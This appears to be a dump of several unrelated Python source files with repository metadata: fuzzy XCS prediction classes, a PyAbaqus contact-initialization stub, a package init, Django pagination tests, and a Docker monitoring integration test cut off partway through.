import logging import numpy as np from piecewise.lcs.component.prediction import PredictionArray from .rule_repr import MIN_MATCHING_DEGREE, MAX_MATCHING_DEGREE class FuzzyMatchingFitnessWeightedAvgPrediction: def __init__(self, env_action_set, rule_repr): self._env_action_set = env_action_set self._rule_repr = rule_repr def __call__(self, match_set, situation): """GENERATE PREDICTION ARRAY function from 'An Algorithmic Description of XCS' (Butz and Wilson, 2002). Situation is optional as may or may not be needed depending on whether classifiers have constant or computed predictions.""" self._warn_if_match_set_is_empty(match_set) prediction_array, matching_degree_sum_array, fitness_sum_array = \ self._init_arrays() self._populate_arrays(prediction_array, matching_degree_sum_array, fitness_sum_array, match_set, situation) self._normalise_prediction_array(prediction_array, matching_degree_sum_array, fitness_sum_array) return prediction_array def _warn_if_match_set_is_empty(self, match_set): match_set_is_empty = match_set.num_micros == 0 if match_set_is_empty: logging.warning("Match set is empty when performing " "prediction.") def _init_arrays(self): prediction_array = PredictionArray(self._env_action_set) matching_degree_sum_array = { action: 0.0 for action in self._env_action_set } fitness_sum_array = {action: 0.0 for action in self._env_action_set} return prediction_array, matching_degree_sum_array, fitness_sum_array def _populate_arrays(self, prediction_array, matching_degree_sum_array, fitness_sum_array, match_set, situation): for classifier in match_set: action = classifier.action prediction = classifier.get_prediction(situation) matching_degree = classifier.calc_matching_degree(self._rule_repr, situation) prediction_array[action] += \ prediction * matching_degree * classifier.fitness matching_degree_sum_array[action] += matching_degree fitness_sum_array[action] += classifier.fitness def _normalise_prediction_array(self, prediction_array, matching_degree_sum_array, fitness_sum_array): possible_actions = prediction_array.keys() for action in possible_actions: denominator = \ matching_degree_sum_array[action]*fitness_sum_array[action] assert denominator != 0 prediction_array[action] /= denominator class FuzzyMatchingWeightedAvgPrediction: def __init__(self, env_action_set, rule_repr): self._env_action_set = env_action_set self._rule_repr = rule_repr def __call__(self, match_set, situation): self._warn_if_match_set_is_empty(match_set) prediction_array, matching_degree_sum_array = \ self._init_arrays() self._populate_arrays(prediction_array, matching_degree_sum_array, match_set, situation) self._normalise_prediction_array(prediction_array, matching_degree_sum_array) return prediction_array def _warn_if_match_set_is_empty(self, match_set): match_set_is_empty = match_set.num_micros == 0 if match_set_is_empty: logging.warning("Match set is empty when performing " "prediction.") def _init_arrays(self): prediction_array = PredictionArray(self._env_action_set) matching_degree_sum_array = { action: 0.0 for action in self._env_action_set } return prediction_array, matching_degree_sum_array def _populate_arrays(self, prediction_array, matching_degree_sum_array, match_set, situation): for classifier in match_set: action = classifier.action prediction = classifier.get_prediction(situation) matching_degree = classifier.calc_matching_degree(self._rule_repr, situation) prediction_array[action] += \ prediction * matching_degree matching_degree_sum_array[action] += matching_degree def _normalise_prediction_array(self, prediction_array, matching_degree_sum_array): possible_actions = prediction_array.keys() for action in possible_actions: denominator = \ matching_degree_sum_array[action] if denominator != 0: prediction_array[action] /= denominator class FuzzyMaxMatchingPrediction: def __init__(self, env_action_set, rule_repr): self._env_action_set = env_action_set self._rule_repr = rule_repr def __call__(self, match_set, situation): self._warn_if_match_set_is_empty(match_set) prediction_array = PredictionArray(self._env_action_set) self._populate_pred_array(prediction_array, match_set, situation) return prediction_array def _warn_if_match_set_is_empty(self, match_set): match_set_is_empty = match_set.num_micros == 0 if match_set_is_empty: logging.warning("Match set is empty when performing " "prediction.") def _populate_pred_array(self, prediction_array, match_set, situation): for classifier in match_set: action = classifier.action matching_degree = classifier.calc_matching_degree(self._rule_repr, situation) prediction_array[action] = max(prediction_array[action], matching_degree) # manually set any actions not represented in match set for action in self._env_action_set: if action not in prediction_array: prediction_array[action] = MIN_MATCHING_DEGREE class FuzzyAvgMatchingPrediction: def __init__(self, env_action_set, rule_repr): self._env_action_set = env_action_set self._rule_repr = rule_repr def __call__(self, match_set, situation): self._warn_if_match_set_is_empty(match_set) prediction_array = PredictionArray(self._env_action_set) self._populate_pred_array(prediction_array, match_set, situation) return prediction_array def _warn_if_match_set_is_empty(self, match_set): match_set_is_empty = match_set.num_micros == 0 if match_set_is_empty: logging.warning("Match set is empty when performing " "prediction.") def _populate_pred_array(self, prediction_array, match_set, situation): for action in self._env_action_set: matching_sum = 0.0 num_advocates = 0 for classifier in match_set: if classifier.action == action: matching_sum += classifier.calc_matching_degree( self._rule_repr, situation) num_advocates += 1 if num_advocates != 0: prediction_array[action] = matching_sum/num_advocates else: prediction_array[action] = MIN_MATCHING_DEGREE class FuzzyMatchingProductPrediction: def __init__(self, env_action_set, rule_repr): self._env_action_set = env_action_set self._rule_repr = rule_repr def __call__(self, match_set, situation): self._warn_if_match_set_is_empty(match_set) prediction_array = PredictionArray(self._env_action_set) self._populate_pred_array(prediction_array, match_set, situation) return prediction_array def _warn_if_match_set_is_empty(self, match_set): match_set_is_empty = match_set.num_micros == 0 if match_set_is_empty: logging.warning("Match set is empty when performing " "prediction.") def _populate_pred_array(self, prediction_array, match_set, situation): for action in self._env_action_set: matching_degrees = [] for classifier in match_set: if classifier.action == action: matching_degrees.append(classifier.calc_matching_degree( self._rule_repr, situation)) if len(matching_degrees) != 0: prediction_array[action] = np.prod(matching_degrees) else: prediction_array[action] = MIN_MATCHING_DEGREE class FuzzyMatchingSumPrediction: def __init__(self, env_action_set, rule_repr): self._env_action_set = env_action_set self._rule_repr = rule_repr def __call__(self, match_set, situation): self._warn_if_match_set_is_empty(match_set) prediction_array = PredictionArray(self._env_action_set) self._populate_pred_array(prediction_array, match_set, situation) return prediction_array def _warn_if_match_set_is_empty(self, match_set): match_set_is_empty = match_set.num_micros == 0 if match_set_is_empty: logging.warning("Match set is empty when performing " "prediction.") def _populate_pred_array(self, prediction_array, match_set, situation): for action in self._env_action_set: matching_sum = 0.0 for classifier in match_set: if classifier.action == action: matching_sum += classifier.calc_matching_degree( self._rule_repr, situation) prediction_array[action] = min(MAX_MATCHING_DEGREE, matching_sum)
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7
5b004b28a6803c91e1f3c15e80c013a39138a954
6,461
py
Python
src/abaqus/Interaction/ExpInitialization.py
Haiiliin/PyAbaqus
f20db6ebea19b73059fe875a53be370253381078
[ "MIT" ]
7
2022-01-21T09:15:45.000Z
2022-02-15T09:31:58.000Z
src/abaqus/Interaction/ExpInitialization.py
Haiiliin/PyAbaqus
f20db6ebea19b73059fe875a53be370253381078
[ "MIT" ]
null
null
null
src/abaqus/Interaction/ExpInitialization.py
Haiiliin/PyAbaqus
f20db6ebea19b73059fe875a53be370253381078
[ "MIT" ]
null
null
null
from abaqusConstants import * from .ContactInitialization import ContactInitialization class ExpInitialization(ContactInitialization): """The ExpInitialization object is used in conjunction with ContactExp in Abaqus/Explicit analyses to specify contact initialization data. The ExpInitialization object is derived from the ContactInitialization object. Notes ----- This object can be accessed by: .. code-block:: python import interaction mdb.models[name].contactInitializations[name] The corresponding analysis keywords are: - CONTACT INITIALIZATION DATA """ def __init__(self, name: str, overclosureType: SymbolicConstant = ADJUST, interferenceDistance: float = None, clearanceDistance: float = None, openingTolerance: float = None, overclosureTolerance: float = None, adjustNodalCoords: Boolean = True, secondaryNodesetName: str = None, stepFraction: float = 1): """This method creates an ExpInitialization object. Notes ----- This function can be accessed by: .. code-block:: python mdb.models[name].ExpInitialization Parameters ---------- name A String specifying the contact initialization repository key. overclosureType A SymbolicConstant specifying the type of overclosure to be defined. Possible values are ADJUST, INTERFERENCE, and CLEARANCE. The default value is ADJUST. interferenceDistance None or a Float specifying the interference distance. This argument is valid only when *overclosureType*=INTERFERENCE. The default value is None. clearanceDistance None or a Float specifying the initial clearance distance. This argument is valid only when *overclosureType*=CLEARANCE and must be specified in that case. The default value is None. openingTolerance None or a Float specifying the distance tolerance within which initial openings will undergo strain-free adjustments. This argument is not valid when *overclosureType*=INTERFERENCE unless a value has been specified for *interferenceDistance*. The default value is None. overclosureTolerance None or a Float specifying the distance tolerance within which initial overclosures will undergo strain-free adjustments. The default value is None. adjustNodalCoords A Boolean specifying whether to resolve clearances/overclosures by adjusting the nodal coordinates without creating strain in the model. *adjustNodalCoords*=True can be used only for clearances/overclosures defined in the first step of an analysis. The default value is True. secondaryNodesetName A String specifying the name of the node set containing the secondary nodes to be included in the initial clearance specification. This argument is not valid when *overclosureType*=INTERFERENCE and if *openingTolerance* or *overclosureTolerance* is specified. The default value is None. stepFraction A Float specifying the fraction of the step time (between 0.0 and 1.0) in which the interference fit has to be solved. The default value is 1.0. This argument is valid only when *overclosureType*=INTERFERENCE. Returns ------- An ExpInitialization object. Raises ------ RangeError """ super().__init__() pass def setValues(self, overclosureType: SymbolicConstant = ADJUST, interferenceDistance: float = None, clearanceDistance: float = None, openingTolerance: float = None, overclosureTolerance: float = None, adjustNodalCoords: Boolean = True, secondaryNodesetName: str = None, stepFraction: float = 1): """This method modifies the ExpInitialization object. Parameters ---------- overclosureType A SymbolicConstant specifying the type of overclosure to be defined. Possible values are ADJUST, INTERFERENCE, and CLEARANCE. The default value is ADJUST. interferenceDistance None or a Float specifying the interference distance. This argument is valid only when *overclosureType*=INTERFERENCE. The default value is None. clearanceDistance None or a Float specifying the initial clearance distance. This argument is valid only when *overclosureType*=CLEARANCE and must be specified in that case. The default value is None. openingTolerance None or a Float specifying the distance tolerance within which initial openings will undergo strain-free adjustments. This argument is not valid when *overclosureType*=INTERFERENCE unless a value has been specified for *interferenceDistance*. The default value is None. overclosureTolerance None or a Float specifying the distance tolerance within which initial overclosures will undergo strain-free adjustments. The default value is None. adjustNodalCoords A Boolean specifying whether to resolve clearances/overclosures by adjusting the nodal coordinates without creating strain in the model. *adjustNodalCoords*=True can be used only for clearances/overclosures defined in the first step of an analysis. The default value is True. secondaryNodesetName A String specifying the name of the node set containing the secondary nodes to be included in the initial clearance specification. This argument is not valid when *overclosureType*=INTERFERENCE and if *openingTolerance* or *overclosureTolerance* is specified. The default value is None. stepFraction A Float specifying the fraction of the step time (between 0.0 and 1.0) in which the interference fit has to be solved. The default value is 1.0. This argument is valid only when *overclosureType*=INTERFERENCE. Raises ------ RangeError """ pass
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7
d28bb210af158948a35f838b3a268ad7122fc670
107
py
Python
at16k/api/__init__.py
epignatelli/at16k
d77800ae8f06d72bc083a215576d0b748c6e1612
[ "MIT" ]
147
2019-12-03T23:04:01.000Z
2022-02-22T07:17:55.000Z
at16k/api/__init__.py
epignatelli/at16k
d77800ae8f06d72bc083a215576d0b748c6e1612
[ "MIT" ]
12
2019-12-06T16:28:15.000Z
2020-12-21T10:23:29.000Z
at16k/api/__init__.py
epignatelli/at16k
d77800ae8f06d72bc083a215576d0b748c6e1612
[ "MIT" ]
21
2019-12-05T07:31:41.000Z
2021-09-09T17:37:41.000Z
""" Imports """ from .speech_to_text import SpeechToText from .live_speech_to_text import LiveSpeechToText
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7
d2eb3b67bb8adaf7a26cb8666c021bb1adc9b7c9
5,240
py
Python
cpdb/es_index/tests/test_pagination.py
invinst/CPDBv2_backend
b4e96d620ff7a437500f525f7e911651e4a18ef9
[ "Apache-2.0" ]
25
2018-07-20T22:31:40.000Z
2021-07-15T16:58:41.000Z
cpdb/es_index/tests/test_pagination.py
invinst/CPDBv2_backend
b4e96d620ff7a437500f525f7e911651e4a18ef9
[ "Apache-2.0" ]
13
2018-06-18T23:08:47.000Z
2022-02-10T07:38:25.000Z
cpdb/es_index/tests/test_pagination.py
invinst/CPDBv2_backend
b4e96d620ff7a437500f525f7e911651e4a18ef9
[ "Apache-2.0" ]
6
2018-05-17T21:59:43.000Z
2020-11-17T00:30:26.000Z
from django.test import SimpleTestCase, TestCase from mock import Mock from robber import expect from data.factories import AttachmentFileFactory, AllegationFactory from data.models import AttachmentFile from es_index.pagination import ESBasePagination, ESQueryPagination, ESQuerysetPagination class ESBasePaginationTestCase(SimpleTestCase): def test_get_response_raise_NotImplementedError(self): response = Mock() pagination = ESBasePagination() expect(lambda: pagination.get_response(response)).to.throw(NotImplementedError) class ESQueryPaginationTestCase(SimpleTestCase): def test_paginate_es_query(self): request = Mock() request.query_params = {'limit': 20, 'offset': 30} search_result = Mock() search_result.hits = Mock() search_result.hits.total = 50 search_result.__iter__ = Mock(return_value=iter([1, 2, 3])) query = Mock() query.__getitem__ = Mock(return_value=query) query.execute.return_value = search_result pagination = ESQueryPagination() paginated_query = pagination.paginate_es_query(query, request) query.__getitem__.assert_called_with(slice(30, 50)) expect(paginated_query).to.eq([1, 2, 3]) expect(pagination.count).to.eq(50) expect(pagination.limit).to.eq(20) expect(pagination.offset).to.eq(30) expect(pagination.request).to.eq(request) def test_pagination_es_query_no_data(self): request = Mock() request.query_params = {'limit': 20, 'offset': 30} search_result = Mock() search_result.hits = Mock() search_result.hits.total = 0 search_result.__iter__ = Mock(return_value=iter([])) query = Mock() query.__getitem__ = Mock(return_value=query) query.execute.return_value = search_result pagination = ESQueryPagination() paginated_query = pagination.paginate_es_query(query, request) expect(paginated_query).to.eq([]) class ESQuerysetPaginationTestCase(TestCase): def test_paginate_es_query(self): allegation = AllegationFactory(crid=123456) attachment_1 = AttachmentFileFactory( id=1, allegation=allegation, title='Document Title 1', text_content='Text Content 1' ) attachment_2 = AttachmentFileFactory( id=2, allegation=allegation, title='Document Title 2', text_content='Text Content 2' ) AttachmentFileFactory( id=3, allegation=allegation, title='Document Title 3', text_content='Text Content 3' ) queryset = AttachmentFile.objects.all() class MockObject(object): pass returned_value_1 = MockObject() returned_value_2 = MockObject() setattr(returned_value_1, 'id', 1) setattr(returned_value_2, 'id', 2) request = Mock() request.query_params = {'limit': 20, 'offset': 30} search_result = Mock() search_result.hits = Mock() search_result.hits.total = 50 search_result.__iter__ = Mock(return_value=iter([returned_value_1, returned_value_2])) query = Mock() query.__getitem__ = Mock(return_value=query) query.execute.return_value = search_result pagination = ESQuerysetPagination() paginated_query = pagination.paginate_es_query(query, request, queryset) expect(list(paginated_query)).to.eq([attachment_1, attachment_2]) expect(pagination.count).to.eq(50) expect(pagination.limit).to.eq(20) expect(pagination.offset).to.eq(30) expect(pagination.request).to.eq(request) def test_paginate_es_query_no_data(self): allegation = AllegationFactory(crid=123456) AttachmentFileFactory( id=1, allegation=allegation, title='Document Title 1', text_content='Text Content 1' ) AttachmentFileFactory( id=2, allegation=allegation, title='Document Title 2', text_content='Text Content 2' ) AttachmentFileFactory( id=3, allegation=allegation, title='Document Title 3', text_content='Text Content 3' ) queryset = AttachmentFile.objects.all() class MockObject(object): pass returned_value_1 = MockObject() returned_value_2 = MockObject() setattr(returned_value_1, 'id', 4) setattr(returned_value_2, 'id', 5) request = Mock() request.query_params = {'limit': 20, 'offset': 30} search_result = Mock() search_result.hits = Mock() search_result.hits.total = 50 search_result.__iter__ = Mock(return_value=iter([returned_value_1, returned_value_2])) query = Mock() query.__getitem__ = Mock(return_value=query) query.execute.return_value = search_result pagination = ESQuerysetPagination() paginated_query = pagination.paginate_es_query(query, request, queryset) expect(list(paginated_query)).to.eq([])
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7
826728f475a3ab70a346c3cf08efc4a1d9b3e623
33,875
py
Python
tests/checks/integration/test_docker_daemon.py
takus/dd-agent
3029873135f0f55c1bcdf3f825691aafca5abf97
[ "BSD-3-Clause" ]
2
2018-01-31T03:50:55.000Z
2018-01-31T03:51:04.000Z
tests/checks/integration/test_docker_daemon.py
takus/dd-agent
3029873135f0f55c1bcdf3f825691aafca5abf97
[ "BSD-3-Clause" ]
null
null
null
tests/checks/integration/test_docker_daemon.py
takus/dd-agent
3029873135f0f55c1bcdf3f825691aafca5abf97
[ "BSD-3-Clause" ]
null
null
null
# stdlib import logging import mock # project from tests.checks.common import AgentCheckTest from utils.dockerutil import DockerUtil # 3rd party from nose.plugins.attrib import attr log = logging.getLogger('tests') CONTAINERS_TO_RUN = [ "nginx:latest", "redis:latest", ] MOCK_CONFIG = { "init_config": {}, "instances": [{ "url": "unix://var/run/docker.sock", "collect_disk_stats": True, }] } POD_NAME_LABEL = "io.kubernetes.pod.name" def reset_docker_settings(): """Populate docker settings with default, dummy settings""" DockerUtil().set_docker_settings({}, {}) @attr(requires='docker_daemon') class TestCheckDockerDaemon(AgentCheckTest): CHECK_NAME = 'docker_daemon' # Mock tests # def mock_normal_get_info(self): return { 'DriverStatus': [ ['Data Space Used', '1 GB'], ['Data Space Available', '9 GB'], ['Data Space Total', '10 GB'], ['Metadata Space Used', '1 MB'], ['Metadata Space Available', '9 MB'], ['Metadata Space Total', '10 MB'], ] } def mock_get_info_no_used(self): return { 'DriverStatus': [ ['Data Space Available', '9 GB'], ['Data Space Total', '10 GB'], ['Metadata Space Available', '9 MB'], ['Metadata Space Total', '10 MB'], ] } def mock_get_info_no_data(self): return { 'DriverStatus': [ ['Metadata Space Available', '9 MB'], ['Metadata Space Total', '10 MB'], ['Metadata Space Used', '1 MB'], ] } def mock_get_info_invalid_values(self): return { 'DriverStatus': [ ['Metadata Space Available', '9 MB'], ['Metadata Space Total', '10 MB'], ['Metadata Space Used', '11 MB'], ] } def mock_get_info_all_zeros(self): return { 'DriverStatus': [ ['Data Space Available', '0 MB'], ['Data Space Total', '0 GB'], ['Data Space Used', '0 KB'], ] } @mock.patch('docker.Client.info') def test_devicemapper_disk_metrics(self, mock_info): mock_info.return_value = self.mock_normal_get_info() self.run_check(MOCK_CONFIG, force_reload=True) self.assertMetric('docker.data.free', value=9e9) self.assertMetric('docker.data.used', value=1e9) self.assertMetric('docker.data.total', value=10e9) self.assertMetric('docker.data.percent', value=10.0) self.assertMetric('docker.metadata.free', value=9e6) self.assertMetric('docker.metadata.used', value=1e6) self.assertMetric('docker.metadata.total', value=10e6) self.assertMetric('docker.metadata.percent', value=10.0) @mock.patch('docker.Client.info') def test_devicemapper_no_used_info(self, mock_info): """Disk metrics collection should still work and `percent` can be calculated""" mock_info.return_value = self.mock_get_info_no_used() self.run_check(MOCK_CONFIG, force_reload=True) self.assertMetric('docker.data.free', value=9e9) self.assertMetric('docker.data.total', value=10e9) self.assertMetric('docker.data.percent', value=10.0) self.assertMetric('docker.metadata.free', value=9e6) self.assertMetric('docker.metadata.total', value=10e6) self.assertMetric('docker.metadata.percent', value=10.0) @mock.patch('docker.Client.info') def test_devicemapper_no_data_info(self, mock_info): """Disk metrics collection should still partially work for metadata""" mock_info.return_value = self.mock_get_info_no_data() self.run_check(MOCK_CONFIG, force_reload=True) self.assertMetric('docker.metadata.free', value=9e6) self.assertMetric('docker.metadata.total', value=10e6) self.assertMetric('docker.metadata.percent', value=10.0) @mock.patch('docker.Client.info') def test_devicemapper_invalid_values(self, mock_info): """Invalid values are detected in _calc_percent_disk_stats and 'percent' use 'free'+'used' instead of 'total' """ mock_info.return_value = self.mock_get_info_invalid_values() self.run_check(MOCK_CONFIG, force_reload=True) self.assertMetric('docker.metadata.free', value=9e6) self.assertMetric('docker.metadata.used', value=11e6) self.assertMetric('docker.metadata.total', value=10e6) self.assertMetric('docker.metadata.percent', value=55) @mock.patch('docker.Client.info') def test_devicemapper_all_zeros(self, mock_info): """Percentage should not be calculated, other metrics should be collected correctly""" mock_info.return_value = self.mock_get_info_all_zeros() self.run_check(MOCK_CONFIG, force_reload=True) metric_names = [metric[0] for metric in self.metrics] self.assertMetric('docker.data.free', value=0) self.assertMetric('docker.data.used', value=0) self.assertMetric('docker.data.total', value=0) self.assertNotIn('docker.data.percent', metric_names) # integration tests # def setUp(self): self.docker_client = DockerUtil().client for c in CONTAINERS_TO_RUN: images = [i["RepoTags"][0] for i in self.docker_client.images(c.split(":")[0]) if i["RepoTags"][0].startswith(c)] if len(images) == 0: for line in self.docker_client.pull(c, stream=True): print line self.containers = [] for c in CONTAINERS_TO_RUN: name = "test-new-{0}".format(c.replace(":", "-")) host_config = None labels = None if c == "nginx:latest": host_config = {"Memory": 137438953472} labels = {"label1": "nginx", "foo": "bar"} cont = self.docker_client.create_container( c, detach=True, name=name, host_config=host_config, labels=labels) self.containers.append(cont) for c in self.containers: log.info("Starting container: {0}".format(c)) self.docker_client.start(c) def tearDown(self): for c in self.containers: log.info("Stopping container: {0}".format(c)) self.docker_client.remove_container(c, force=True) def test_basic_config_single(self): expected_metrics = [ ('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.image.size', ['image_name:nginx', 'image_tag:latest']), ('docker.image.size', ['image_name:redis', 'image_tag:latest']), ('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']), ('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']), ('docker.images.available', None), ('docker.images.intermediate', None), ('docker.mem.cache', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.mem.cache', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.mem.rss', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.mem.rss', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']) ] config = { "init_config": {}, "instances": [{ "url": "unix://var/run/docker.sock", "collect_image_size": True, "collect_images_stats": True }, ], } DockerUtil().set_docker_settings(config['init_config'], config['instances'][0]) self.run_check(config, force_reload=True) for mname, tags in expected_metrics: self.assertMetric(mname, tags=tags, count=1, at_least=1) def test_basic_config_twice(self): expected_metrics = [ ('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.images.available', None), ('docker.images.intermediate', None), ('docker.cpu.system', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.cpu.system', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.cpu.user', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.cpu.user', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.io.read_bytes', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.io.read_bytes', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.io.write_bytes', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.io.write_bytes', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.mem.cache', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.mem.cache', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.mem.rss', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.mem.rss', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.net.bytes_rcvd', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.net.bytes_rcvd', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.net.bytes_sent', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.net.bytes_sent', ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']) ] custom_tags = ["extra_tag", "env:testing"] config = { "init_config": {}, "instances": [{ "url": "unix://var/run/docker.sock", "tags": custom_tags, "collect_image_size": True, "collect_images_stats": True, }, ], } DockerUtil().set_docker_settings(config['init_config'], config['instances'][0]) self.run_check_twice(config, force_reload=True) for mname, tags in expected_metrics: expected_tags = list(custom_tags) if tags is not None: expected_tags += tags self.assertMetric(mname, tags=expected_tags, count=1, at_least=1) def test_exclude_filter(self): expected_metrics = [ ('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.cpu.system', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.cpu.user', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.image.size', ['image_name:redis', 'image_tag:latest']), ('docker.image.size', ['image_name:nginx', 'image_tag:latest']), ('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']), ('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']), ('docker.images.available', None), ('docker.images.intermediate', None), ('docker.io.read_bytes', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.io.write_bytes', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.mem.cache', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.mem.rss', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.net.bytes_rcvd', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.net.bytes_sent', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']) ] config = { "init_config": {}, "instances": [{ "url": "unix://var/run/docker.sock", "exclude": ["docker_image:nginx"], "collect_images_stats": True, "collect_image_size": True, }, ], } DockerUtil._drop() DockerUtil(init_config=config['init_config'], instance=config['instances'][0]) self.run_check_twice(config, force_reload=True) for mname, tags in expected_metrics: self.assertMetric(mname, tags=tags, count=1, at_least=1) perf_metrics = [ "docker.cpu.system", "docker.cpu.user", "docker.io.read_bytes", "docker.io.write_bytes", "docker.mem.cache", "docker.mem.rss", "docker.net.bytes_rcvd", "docker.net.bytes_sent" ] nginx_tags = ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest'] for mname in perf_metrics: self.assertMetric(mname, tags=nginx_tags, count=0) def test_include_filter(self): expected_metrics = [ ('docker.containers.running', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.containers.running', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.containers.stopped', ['docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest']), ('docker.containers.stopped', ['docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.cpu.system', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.cpu.user', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.image.size', ['image_name:redis', 'image_tag:latest']), ('docker.image.size', ['image_name:nginx', 'image_tag:latest']), ('docker.image.virtual_size', ['image_name:nginx', 'image_tag:latest']), ('docker.image.virtual_size', ['image_name:redis', 'image_tag:latest']), ('docker.images.available', None), ('docker.images.intermediate', None), ('docker.io.read_bytes', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.io.write_bytes', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.mem.cache', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.mem.rss', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.net.bytes_rcvd', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']), ('docker.net.bytes_sent', ['container_name:test-new-redis-latest', 'docker_image:redis:latest', 'image_name:redis', 'image_tag:latest']) ] config = { "init_config": {}, "instances": [{ "url": "unix://var/run/docker.sock", "include": ["image_name:redis"], "exclude": [".*"], "collect_images_stats": True, "collect_image_size": True, }, ], } DockerUtil._drop() DockerUtil(init_config=config['init_config'], instance=config['instances'][0]) self.run_check_twice(config, force_reload=True) for mname, tags in expected_metrics: self.assertMetric(mname, tags=tags, count=1, at_least=1) perf_metrics = [ "docker.cpu.system", "docker.cpu.user", "docker.io.read_bytes", "docker.io.write_bytes", "docker.mem.cache", "docker.mem.rss", "docker.net.bytes_rcvd", "docker.net.bytes_sent" ] nginx_tags = ['container_name:test-new-nginx-latest', 'docker_image:nginx:latest', 'image_name:nginx', 'image_tag:latest'] for m in perf_metrics: self.assertMetric(mname, tags=nginx_tags, count=0) def test_tags_options(self): expected_metrics = [ ('docker.containers.running', ["container_command:nginx -g 'daemon off;'"]), ('docker.containers.running', ['container_command:docker-entrypoint.sh redis-server']), ('docker.containers.stopped', ["container_command:nginx -g 'daemon off;'"]), ('docker.containers.stopped', ['container_command:docker-entrypoint.sh redis-server']), ('docker.cpu.system', ["container_command:nginx -g 'daemon off;'"]), ('docker.cpu.system', ['container_command:docker-entrypoint.sh redis-server']), ('docker.cpu.user', ['container_command:docker-entrypoint.sh redis-server']), ('docker.cpu.user', ["container_command:nginx -g 'daemon off;'"]), ('docker.image.size', ['image_name:redis', 'image_tag:latest']), ('docker.image.size', ['image_name:nginx', 